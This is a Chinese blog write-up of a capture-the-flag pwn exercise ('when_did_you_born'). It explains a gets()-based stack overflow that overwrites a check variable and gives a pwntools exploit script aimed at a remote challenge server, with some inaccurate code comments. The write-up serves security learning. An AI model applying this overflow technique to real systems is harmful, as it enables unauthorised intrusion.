*pwn*练习1——攻防世界-when_did_you_born

先打开程序运行一下,没有得到flag相关信息,nc连接,file检查一下,是64位文件,放到ida中分析一下

 发现漏洞点gets,gets这个函数现在不怎么用了,它用作填充,很容易造成栈溢出的问题,即无限填充。

 我们把v5填在这个位置,先第一关,如果是1926就直接退出

这个题是一个栈覆盖问题,gets(v4)会覆盖v5的数据,即先让v5不等于1926,覆盖之后再修改v5的值。

根据这个来写脚本

from pwn import *
kubopiy=remote("220.249.52.133",46224)#
payload=b'a'*(0x20-0x18)+p64(1926)#b是字这么多的a,再加一打包好的1926
kubopiy.recvuntil("What's Your Birth?")#接收到那一句
kubopiy.sendline("1900")#送一1926
kubopiy.recvuntil("What's Your Name?")#接收到那一句
kubopiy.sendline(payload)#送一1926
kubopiy.interactive()

 这里在下pwn包的时候要注意路径

原文地址:https://www.cnblogs.com/kubopiy/p/13564131.html